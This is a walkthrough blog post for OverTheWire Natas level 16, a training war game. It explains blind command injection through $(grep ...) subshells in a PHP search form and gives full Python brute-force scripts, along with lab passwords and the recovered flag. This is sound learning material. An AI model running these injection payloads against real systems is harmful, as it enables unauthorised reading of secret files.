OverTheWire Natas Level 16 Walkthrough

This post is nearly halfway through the Natas series! This blog post covers level 16 of the Natas (web security in PHP) war game as a walkthrough, with scripts and thorough explanations.

What is Natas?

Natas is an online hacking game meant to help you learn and practice security concepts.

OverTheWire is a website with a number of “war games”, which are online hacking games that allow you to practice security concepts. If you are looking for a beginner introduction to web security (albeit an older tech stack), then Natas is a great place to start.

Natas is hosted on different subdomains following the pattern of http://natas<level#>.natas.labs.overthewire.org. As you progress through the levels, you’ll need to increment the level number in the URL in order to view the correct level.

Each level requires the levels below it to be solved, so you will need the level 16 flag found in level 15 to begin this walkthrough. As before, make sure you keep notes and write down the passwords as you find them!

Level 16 ➔ 17

First, grab the password from level 13 and head to http://natas16.natas.labs.overthewire.org/, then login with username natas16 and the password. The page looks like this:

This is another “needle” challenge similar to levels 9 and 10.

Level 10 had filtered out /[;|&]/. This time, the source code shows us that /[;|&`\'"]/ are filtered out.

My first idea was to use something like $("value here" ^ "bitwise key here") to XOR encode ; and other forbidden characters, but I quickly realized that " isn’t allowed either.

As with last time, spaces are still allowed.

If we try the same approach as last time, entering .* /etc/natas_webpass/natas17, which will expand to grep -i .* /etc/natas_webpass/natas17 dictionary.txt, we get no output.

That’s because our $key value is being put within quotes, so we’re searching for that entire string within dictionary.txt.

In other words, Level 10 had:

passthru("grep -i $key dictionary.txt");

Whereas this level has:

passthru("grep -i \"$key\" dictionary.txt");

Allowable characters

One of the things we still are allowed to do is $(...), where the ... is a command of our choice, since $ and parentheses are still allowed.

This is for interpolating a subshell command into a string. If we were to input $(whoami) as our command, that would evaluate to natas16. The resulting passthru() command would be:

grep -i "natas16" dictionary.txt

A quick search will show that natas16 doesn’t appear in dictionary.txt, so this should return empty.

Grepping inside of our grep command

As with the last level, we can build out a solution one character at a time. We can do this with a nested subcommand of:

$(grep x /etc/natas_webpass/natas17)

Where x is any valid char, A-Z, a-z, and 0-9.

However, we still need a way of knowing whether that character was a match. To demonstrate, let’s pick a couple letters that we think are part of the password. Let’s try n, and insert that into our command:

$(grep n /etc/natas_webpass/natas17)

If we submit this (resulting URL is http://natas16.natas.labs.overthewire.org/?needle=%24%28grep+n+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search), we get no output:

If we try this with other valid chars, we get results back in some cases, and no results back in others. But all of the characters we’re trying are hypothetically valid, so it’s hard to draw a conclusion from the behavior.

If instead, we try characters that we know are invalid, like !, @, and _:

$(grep ! /etc/natas_webpass/natas17)

We get the full dictionary output each time:

From this behavior, we can assume that if our inner grep command evaluates to an empty string, we get all results back. In other words:

grep -i "$(grep n /etc/natas_webpass/natas17)" dictionary.txt

Evaluates to:

grep -i "" dictionary.txt

Which returns all values.

While I think this approach is usable, we can go a step further and prove that this “collapsing” command behavior is happening. If our inner grep command is:

$(grep n /etc/natas_webpass/natas17)zigzag

Then in the case of no match, we should effectively be searching for zigzag by itself.

grep -i "$(grep ! /etc/natas_webpass/natas17)zigzag" dictionary.txt
# evaluates to
grep -i "zigzag" dictionary.txt
# which should output 5 words

But if we search for a value that exists, like maybe n, if we do get a match, the command will look like:

grep -i "$(grep n /etc/natas_webpass/natas17)zigzag" dictionary.txt
# evaluates to
grep -i "<somevaluehere>zigzag" dictionary.txt
# which should output nothing

This matching string <somevaluehere> with zigzag on the end should not match anything in dictionary.txt, so we should get nothing back.

Building our script

With this strategy, we can now build out a script similar to the last level, where we use the true/false response to determine if we have a matching character or not.

Finding valid characters

To narrow down the list of valid chars from A-Z, a-z, and 0-9 to a smaller set of options, I ran this script:

import requests
import string
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')

u="http://natas16.natas.labs.overthewire.org/"

VALID_CHARS = string.digits + string.ascii_letters

matchingChars = ""

for c in VALID_CHARS:
    payload = "$(grep " + c + " /etc/natas_webpass/natas17)zigzag"
    url = u + "?needle=" + payload + "&submit=Search"

    response = requests.get(url, auth=basicAuth, verify=False)

    if 'zigzag' not in response.text:
        print("Found a valid char : %s" % c)
        matchingChars += c

print("Matching chars: ", matchingChars) 
valid-chars.py

This script is run by opening a terminal and using the command python valid-chars.py.

This script only outputs a list of matching chars (chars for which the nested grep command evaluates to a non-empty output, resulting in an empty list). It doesn’t compound any characters to find the entire password. Instead, it:

  • Loops through A-Za-z0-9
  • Sends the payload $(grep " + x + " /etc/natas_webpass/natas17)zigzag where x is one of the A-Za-z0-9 chars
  • If the inner grep command evaluates to a non-empty value, the resulting search will be grep <long string>zigzag dictionary.txt which will return nothing. This means the char did match.
  • If the inner grep command returns nothing, resulting in "" + zigzag (or just zigzag), we’ll see zigzag in the response. You can use print(response.text) to see the resulting HTML.
  • In short, lack of zigzag in the response = matching char.

The resulting output is 035789bcdghkmnqrswAGHNPQSW. This string becomes our new list of valid chars, in place of A-Za-z0-9.

Finding the password, part 1:

Next up, we’ll use the same approach as the previous level to slowly build out our password. The code looks like this:

import requests
import string
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
u="http://natas16.natas.labs.overthewire.org/"

PASSWORD_LENGTH = 32  # previous passwords were 32 chars long
matchingChars = "035789bcdghkmnqrswAGHNPQSW"
password="" # start with blank password

while True:
    for c in matchingChars:
        payload = "$(grep " + password + c + " /etc/natas_webpass/natas17)zigzag"

        url = u + "?needle=" + payload + "&submit=Search"

        print(url)

        response = requests.get(url, auth=basicAuth, verify=False)

        if 'zigzag' not in response.text:
            print("Found a valid char : %s" % (password+c))
            password += c
solver-first-half.py

This script is run by using the command python solver-first-half.py. This script:

  • Iterates through the matching chars we just found
  • Sends a payload of "$(grep " + password + c + " /etc/natas_webpass/natas17)zigzag"
  • If the response includes the word zigzag in the resulting HTML, we know it wasn’t a match.
  • If the response doesn’t include it, we’ll add that character to our password string.
  • Then the next loop around, we’ll search for the slightly longer password, plus the hypothetical character.

If you run this, you’ll end up with the result 0GWbn5rd9S7GmAdgQNdkhPkq9cw before you end up in a loop with no additional matching characters.

This is because the first character we tried (0) happened to be in the middle of the string, not at the beginning of the password. To get the rest of the password, we’ll have to add characters onto the front of the known password.

Finding the password, part 2

You can make this into a separate script, or add it to the end of the previous script and comment out the first part.

The code to get us the rest of the password is:

password = "0GWbn5rd9S7GmAdgQNdkhPkq9cw"

while True:
    for c in matchingChars:
        payload = "$(grep " + c + password + " /etc/natas_webpass/natas17)zigzag"
        url = u + "?needle=" + payload + "&submit=Search"
       
        # print(url)
        response = requests.get(url, auth=basicAuth, verify=False)

        if 'zigzag' not in response.text:
            print("Found a valid char : %s" % (c+password))
            password = c + password
solver-second-half.py

This script does the same thing as above, except that it prepends the new character, instead of adding the character onto the end of the password.

Eventually, you’ll get to 32 characters long:

Natas Level 16 Solution:

The entire script is:

import requests
import string
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
u="http://natas16.natas.labs.overthewire.org/"

VALID_CHARS = string.digits + string.ascii_letters
matchingChars = ""

for c in VALID_CHARS:
    payload = "$(grep " + c + " /etc/natas_webpass/natas17)zigzag"
    url = u + "?needle=" + payload + "&submit=Search"

    response = requests.get(url, auth=basicAuth, verify=False)

    if 'zigzag' not in response.text:
        print("Found a valid char : %s" % c)
        matchingChars += c

print("Matching chars: ", matchingChars) # matchingChars = "035789bcdghkmnqrswAGHNPQSW"

password="" # start with blank password

while True:
    for c in matchingChars:
        payload = "$(grep " + password + c + " /etc/natas_webpass/natas17)zigzag"
        url = u + "?needle=" + payload + "&submit=Search"
        response = requests.get(url, auth=basicAuth, verify=False)

        if 'zigzag' not in response.text:
            print("Found a valid char : %s" % (password+c))
            password += c

        # If you get stuck in this loop, stop the script, comment out the loops at 11 and 25, set matchingChars, then re-run.

# After the first loop, the value will be:
# password = "0GWbn5rd9S7GmAdgQNdkhPkq9cw"

while True:
    for c in matchingChars:
        payload = "$(grep " + c + password + " /etc/natas_webpass/natas17)zigzag"
        url = u + "?needle=" + payload + "&submit=Search"
        response = requests.get(url, auth=basicAuth, verify=False)

        if 'zigzag' not in response.text:
            print("Found a valid char : %s" % (c+password))
            password = c + password
solver-full.py

Running this will give you the flag: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw.

Takeaway: Look for boolean true/false output to give you information about blind queries being executed.